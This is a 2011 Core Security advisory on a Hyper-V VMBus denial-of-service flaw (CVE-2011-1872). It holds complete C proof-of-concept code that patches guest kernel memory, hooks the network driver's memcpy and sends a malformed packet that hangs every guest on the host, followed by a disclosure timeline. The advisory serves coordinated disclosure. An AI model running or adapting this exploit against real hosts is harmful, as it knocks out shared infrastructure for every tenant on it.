Microsoft HyperV – Persistent Denial of Service (MS11-047)
Core Security Technologies - Corelabs Advisory http://corelabs.coresecurity.com/ MS HyperV Persistent DoS Vulnerability 1. *Advisory Information* Title: MS HyperV Persistent DoS Vulnerability Advisory ID: CORE-2011-0203 Advisory URL: http://www.coresecurity.com/content/hyperv-vmbus-persistent-dos-vulnerability Date published: 2011-06-14 Date of last update: 2011-06-14 Vendors contacted: Microsoft Release mode: Coordinated release 2. *Vulnerability Information* Class: Input validation error [CWE-20] Impact: Denial of service Remotely Exploitable: No Locally Exploitable: Yes CVE Name: CVE-2011-1872 3. *Vulnerability Description* A security vulnerability was found in the driver 'vmswitch.sys', associated to the Windows Hypervisor subsystem, allowing an authenticated local DoS. The vulnerability could allow denial of service if a specially crafted packet is sent to the VMBus by an authenticated user in one of the guest virtual machines hosted by the Hyper-V server. The impact is all guests on that host became non-responsive. An attacker must have valid logon credentials and be able to send specially crafted content from a guest virtual machine to exploit this vulnerability. As a result, an attacker logged with admin privileges on a guest VM may cause: 1. All applications in virtual machines stop responding. 2. The host kernel CPU usage rises up to 100%. 3. The host machine is unable to reboot (It shows the close window but it never performs the host rebooting). The vulnerability could not be exploited remotely or by anonymous users. 4. *Vulnerable packages* . Windows Server 2008 for x64-based Systems . Windows Server 2008 for x64-based Systems SP2 . Windows Server 2008 R2 for x64-based Systems . Windows Server 2008 R2 for x64-based Systems SP1 5. *Non-vulnerable packages* . Windows XP SP3 . Windows XP Professional x64 Edition SP2 . Windows Server 2003 SP2 . Windows Server 2003 x64 Edition SP2 . Windows Server 2003 with SP2 for Itanium-based Systems . Windows Vista SP1 and Windows Vista SP2 . Windows Vista x64 Edition SP1 and Windows Vista x64 Edition SP2 . Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems SP2 . Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems SP2 . Windows 7 for 32-bit Systems and Windows 7 for 32-bit Systems SP1 . Windows 7 for x64-based Systems and Windows 7 for x64-based Systems SP1 . Windows Server 2008 R2 for Itanium-based Systems and Windows Server 2008 R2 for Itanium-based Systems SP1 6. *Vendor Information, Solutions and Workarounds* For additional information about this issue visit the Microsoft security bulletin MS11-047 [1] 7. *Credits* This vulnerability was discovered and researched by Nicolas Economou from Core Security Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Security Advisories Team. 8. *Technical Description / Proof of Concept Code* This flaw is located in the hypervisor driver 'vmswitch.sys' of Windows systems. The Proof of Concept showed in [Sec. 8.1] was tested on the latest released version 6.1.7600.16701 of the above mentioned driver. When digging into the vulnerability, in the 0x20 position of a hypervisor packet there is a QWORD (0x3333333333333333 in the PoC) that seems to be the length of something. This value is checked in the function 'VidLockObjectShared', located in the driver 'vid.sys'. The QWORD is compared against the value 0xffeff and the function returns with error 0xC0370022 if the QWORD value is higher. Apparently, that makes some flag is not set and the package processing never ends. Unfortunately, additional and specific technical information regarding the root and nature of this vulnerability was not provided by Microsoft. 8.1. *Proof of Concept* The following PoC would trigger the vulnerability. The PoC basically injects the functions 'handle', 'handle2' and 'packet_changer' as a shellcode, and calls to the command 'ipconfig' for generating activity in the driver of the network adapter (in order to accelerate the trigger). It was compiled using Borland C++ v5.5.1 for Win32, and should be executed under the following scenario: 1. The guest machine must be a Windows XP with SP2 or SP3. 2. The user running the PoC must have admin privileges. The PoC code covers the whole kernel memory looking for a pattern of code located in the network driver 'netvsc50.sys' on the guest machine. The code is in the function 'PkSendPacketSimple' and it's a call to the function 'memcpy'. When that pattern is located in the driver code, the entry of the function 'memcpy' is patched in the import table, redirecting this function call to the hook function 'handle', previously written by the PoC code in kernel memory. Then, when 'memcpy' is called by the driver to assemble the package to be sent to the hypervisor, the execution flow will jump to the 'handle2' function (via the hook set by the 'handle'), which is the function that receives the content of the argument passed to 'memcpy' and turns a 'Simple' type packet into a 'GpaDirect' type packet. All these steps are taken in order to trigger the vulnerability. 8.1.1. *Code* /----- #include <windows.h> #include <winnt.h> #include <stdio.h> typedef enum _SYSDBG_COMMAND { SysDbgQueryModuleInformation, SysDbgQueryTraceInformation, SysDbgSetTracepoint, SysDbgSetSpecialCall, SysDbgClearSpecialCalls, SysDbgQuerySpecialCalls, SysDbgBreakPoint, SysDbgQueryVersion, SysDbgReadVirtual, SysDbgWriteVirtual, SysDbgReadPhysical, SysDbgWritePhysical, SysDbgReadControlSpace, SysDbgWriteControlSpace, SysDbgReadIoSpace, SysDbgWriteIoSpace, SysDbgReadMsr, SysDbgWriteMsr, SysDbgReadBusData, SysDbgWriteBusData, SysDbgCheckLowMemory, SysDbgEnableKernelDebugger, SysDbgDisableKernelDebugger, SysDbgGetAutoKdEnable, SysDbgSetAutoKdEnable, SysDbgGetPrintBufferSize, SysDbgSetPrintBufferSize, SysDbgGetKdUmExceptionEnable, SysDbgSetKdUmExceptionEnable, SysDbgGetTriageDump, SysDbgGetKdBlockEnable, SysDbgSetKdBlockEnable, } SYSDBG_COMMAND, *PSYSDBG_COMMAND; typedef struct _SYSDBG_VIRTUAL { PVOID Address; PVOID Buffer; ULONG Request; } SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; /****************************************************************************/ /* Prototypes */ LONG NTAPI ( *NtSystemDebugControl ) ( IN SYSDBG_COMMAND Command, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength, OUT PULONG ReturnLength OPTIONAL ); int EscalatePrivileges ( void ); int ReadKernelMemory ( void * , void * , unsigned int ); int WriteKernelMemory ( void * , void * , unsigned int ); __declspec ( naked ) void handler ( void ); __declspec ( naked ) void handler2 ( void ); void packet_changer ( char * ); /****************************************************************************/ /* Program */ int main ( void ) { unsigned int original_address; unsigned int memcpy_address; unsigned int return_address; unsigned int jmp_address; unsigned int code_address = 0; unsigned int pos; char buffer [ 0x1000 ]; char cmd [ 4096 ]; char shellcode [ 256 ]; char *pattern; int ret; pattern = "\xe8\xc7\x6f\xff\xff"; /* Pattern of the code to search */ EscalatePrivileges (); printf( "finding shellcode...\n" ); for( pos=0x80000000; pos<0xfffff000; pos=pos+0x1000 ) { ret = ReadKernelMemory( (void*) (pos+0x0ea), (void*) buffer, 5 ); /* Read the complete block */ if ( ret == TRUE ) { if ( memcmp(buffer, pattern, 5) == 0 ) { /* If match */ code_address = pos + 0x0ea; printf( "Patching code at %x\n" , code_address ); break; } } } /* If the shellcode was found... */ if ( code_address != 0 ) { /* Get the memcpy() address */ memcpy_address = code_address + 0xffff6fc7 + 5; printf( "memcpy = %x\n" , memcpy_address ); /* Get the JMP which jumps to the memcpy() function imported from ntoskrnl.exe */ ReadKernelMemory( (void*) ( memcpy_address + 2 ), (void*) &jmp_address, 4 ); printf( "jmp_address = %x\n" , jmp_address ); /* Make a copy of mi own shellcode */ memcpy(shellcode, handler, 0x100 ); /* Write the handler in kernel memory */ ret = WriteKernelMemory( (void*) 0x8003fc00, shellcode, 0x100 ); printf( "write: %i\n" , ret ); /* Get the original pointer from the import's table */ ReadKernelMemory( (void*) jmp_address, &original_address, 4 ); printf( "original_address = %x\n" , original_address ); /* Copy the memcpy() return address */ return_address = code_address + 5; ret = WriteKernelMemory( (void*) 0x8003fff8, &return_address, 4 ); printf ( "write: %i\n" , ret ); /* Copy the original pointer from the driver import table */ ret = WriteKernelMemory ( ( void * ) 0x8003fffc , &original_address , 4 ); printf ( "write: %i\n" , ret ); /* Patch the import table in order to jump to my shellcode */ ret = WriteKernelMemory( (void*) jmp_address, "\x00\xfc\x03\x80", 4 ); printf( "write: %i\n", ret ); /* Just wait before trigger the bug */ printf( "delaying 3 seconds...\n" ); Sleep( 3000 ); /* Get the system address and execute the command "ipconfig" for triggering the bug */ GetSystemDirectory( cmd, 4096 ); strncat( cmd, "\\ipconfig.exe /renew", 4096 ); system ( cmd ); } return ( 1 ); } /****************************************************************************/ __declspec ( naked ) void handler ( void ) { /* Get the return address */ asm mov eax,[esp] /* If the return address is NOT the same that I'm waiting for... */ asm pushad asm mov ebx,0x8003fff8 asm cmp eax,[ebx] asm jne no_change /* Modify the return address to return to my code after complete the call */ asm popad asm mov eax,0x8003fc00+0x30 asm mov [esp],eax asm jmp exit asm no_change: asm popad asm exit: /* Just continue the execution */ __emit__ ( 0xff , 0x25 , 0xfc , 0xff , 0x03 , 0x80 ); // jmp [0x8003fffc ] /* Padding */ __emit__ ( 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 ); __emit__ ( 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 ); __emit__ ( 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 ); __emit__ ( 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 ); __emit__ ( 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 ); } /****************************************************************************/ __declspec ( naked ) void handler2 ( void ) { /* Execute the code that changes the packet sent to a Hyper-V */ asm pushad asm push eax asm call packet_changer asm add esp,4 asm popad /* Continue normal execution */ __emit__ ( 0xff , 0x25 , 0xf8 , 0xff , 0x03 , 0x80 ); // jmp [0x8003fff8 ] } /****************************************************************************/ void packet_changer ( char *packet ) { /* Point to the packet head */ packet = packet - 0x10; /* Set the packet as GpaDirect */ packet [ 0x00 ] = 0x09; packet [ 0x01 ] = 0x00; packet [ 0x02 ] = 0x05; packet [ 0x03 ] = 0x00; packet [ 0x04 ] = 0x06; packet [ 0x05 ] = 0x00; packet [ 0x06 ] = 0x00; packet [ 0x07 ] = 0x00; packet [ 0x14 ] = 0x01; packet [ 0x15 ] = 0x00; packet [ 0x16 ] = 0x00; packet [ 0x17 ] = 0x00; packet [ 0x18 ] = 0x01; packet [ 0x19 ] = 0x00; packet [ 0x1a ] = 0x00; packet [ 0x1b ] = 0x00; packet [ 0x1c ] = 0x00; packet [ 0x1d ] = 0x00; packet [ 0x1e ] = 0x00; packet [ 0x1f ] = 0x00; /* vulnerable field ( LEN of something ) */ packet [ 0x20 ] = 0x33; packet [ 0x21 ] = 0x33; packet [ 0x22 ] = 0x33; packet [ 0x23 ] = 0x33; packet [ 0x24 ] = 0x33; packet [ 0x25 ] = 0x33; packet [ 0x26 ] = 0x33; packet [ 0x27 ] = 0x33; } /****************************************************************************/ /****************************************************************************/ int EscalatePrivileges ( void ) { TOKEN_PRIVILEGES new_token_privileges; unsigned int token_handle; int ret; /* Ask for permission like a debugger */ new_token_privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LookupPrivilegeValueA ( NULL, SE_DEBUG_NAME, &new_token_privileges.Privileges[0].Luid ); /* Open token */ //OpenProcessToken ( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, (void*) &token_handle ); OpenProcessToken ( GetCurrentProcess(), TOKEN_ALL_ACCESS, (void*) &token_handle ); /* New privilege values */ new_token_privileges.PrivilegeCount = 1; new_token_privileges.Privileges [ 0 ].Attributes = SE_PRIVILEGE_ENABLED; /* Set privileges */ ret = AdjustTokenPrivileges( (void*) token_handle, FALSE, &new_token_privileges, sizeof(new_token_privileges), NULL, NULL ); return ( ret ); } /****************************************************************************/ int ReadKernelMemory ( void *address, void *buffer, unsigned int len ) { static int first_time = TRUE; SYSDBG_VIRTUAL DbgMemory; LONG Status; int ret = FALSE; /* If it is the first time */ if ( first_time == TRUE ) { /* Resolve the function symbol */ NtSystemDebugControl = GetProcAddress( GetModuleHandle("ntdll.dll"), "NtSystemDebugControl" ); if ( NtSystemDebugControl == NULL ) { puts( "Unable to resolve" ); return ( ret ); } first_time = FALSE; } /* Setup the request */ DbgMemory.Address = address; DbgMemory.Buffer = buffer; DbgMemory.Request = len; /* Do the read */ Status = NtSystemDebugControl( SysDbgReadVirtual, &DbgMemory, sizeof(DbgMemory), NULL, 0, NULL ); if ( Status >= 0 ) { ret = TRUE; } return ( ret ); } /****************************************************************************/ int WriteKernelMemory ( void *address , void *buffer , unsigned int len ) { static int first_time = TRUE; SYSDBG_VIRTUAL DbgMemory; LONG Status; int ret = FALSE; if ( first_time == TRUE ) { /* Resolve the function symbol */ NtSystemDebugControl = GetProcAddress( GetModuleHandle("ntdll.dll"), "NtSystemDebugControl" ); if ( NtSystemDebugControl == NULL ) { puts ( "Unable to resolve" ); return ( ret ); } } else { first_time = FALSE; } /* Setup the request */ DbgMemory.Address = address; DbgMemory.Buffer = buffer; DbgMemory.Request = len; /* Do the read */ Status = NtSystemDebugControl ( SysDbgWriteVirtual , &DbgMemory , sizeof ( DbgMemory ) , NULL , 0 , NULL ); if ( Status >= 0 ) { ret = TRUE; } return ( ret ); } /****************************************************************************/ /****************************************************************************/ -----/ 9. *Report Timeline* . 2011-02-03: Core Security Technologies notifies the MSRC of the vulnerability, setting the estimated publication date of the advisory to March 1st, 2011. . 2011-02-04: MSRC notifies that the case 10985 was opened to track this issue and a case manager will get in contact shortly. . 2011-02-22: MSRC notifies that the results of their investigation indicate this is an authenticated local DoS: An admin on a guest VM can manage to cause a DoS on the host. The impact is all guests on that host became non-responsive. This issue is considered to be bulletin class, but a release date was not set yet. . 2011-02-24: Core notifies that the analysis made by MSRC fits with the one made by Nicolas Economou, the discoverer of the vulnerability. Core also requires specific technical information to help understand the nature and root cause of the bug, and notifies the advisory publication was re-scheduled to March 15th, 2011 waiting for a MSRC update. . 2011-03-16: Core notifies that two release dates were missed (March 1st and March 15th) and requests a status update and additional technical information about this issue. . 2011-03-17: Vendor acknowledges reception of the last email. . 2011-03-18: MSRC requests to set up a conference call to discuss this issue next Monday 21st. . 2011-03-21: MSRC asks for a conference call to discuss this issue. . 2011-03-21: The Core Security Advisories Team notifies their preference to maintain all the communication process via email in order to keep track of all the interactions and allow all stakeholders to take part. . 2011-03-21: MSRC would like to confirm that Core is declining the request to have a meeting on this issue. . 2011-03-21: The advisory coordinator notifies that he himself, on behalf of the Core Advisories Team, has declined the request to set up a conference call because of the previously mentioned reasons. Furthermore, the publication of an advisory usually involves several processes, triggers, people and teams in Core internal process: 1. the discoverer of the vulnerability, 2. researchers, 3. exploit writers, 4. QA and testing groups, 5. press people, among other; and the Core Advisories Team prefers all interactions via email in order to have a better coordination. If there is something that cannot be resolved via email, a conference call can be eventually set up, but that is not necessary at the moment. . 2011-03-23: MSRC notifies they could not meet the deadline for the fixes and they moved the release date from April to June 8th. . 2011-03-31: Core notifies that the June release seems a bit far given that this bug is very close to the MS10-020 [2] reported on Dec 14th, 2010 with the CVE-2010-3960. When working on the Hyper-V DoS reported in MS10-020, Nicolas Economou discovered a new attack vector, and it is likely that this vulnerability is already known by others. Core notifies a release date near the end of April would be more convenient. . 2011-04-01: MSRC notifies they are currently working with the product team to determine if this update can be pushed into May. Because of the Microsoft patch Tuesday release cadence there are only two possibilities for release of these updates: the second Tuesday in May and the second Tuesday in June. . 2011-04-25: Core re-schedules the advisory publication to May 10th and asks MSRC if fixes will be available by that date. . 2011-04-25: MSRC notifies that, due to some testing issues that occurred with the fix, the team did not meet the May deadline and will need to ship this update on June 14th. . 2011-04-28: Core notifies that this issue was reported on Feb 3th, and 4 publication dates were already missed: 1. March 1st, 2011 (first tentative publication date) 2. March 15th, 2011 3. April 2011 4. May 10th, 2011 The Core Advisories Team agrees to postpone the advisory publication to June 14th, but that date should be considered final. Core also asks additional information about the affected and patched versions numbers related to this issue. . 2011-06-02: MSRC notifies that the fix for this vulnerability is in testing but no issues have been found so far and the security bulletin is still scheduled for June 14th. . 2011-06-14: Advisory CORE-2011-0203 is published. 10. *References* [1] http://www.microsoft.com/technet/security/bulletin/MS11-047.mspx. [2] http://www.microsoft.com/technet/security/Bulletin/MS10-020.mspx. 11. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and prove real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web \ at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2011 Core Security Technologies and (c) 2011 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. |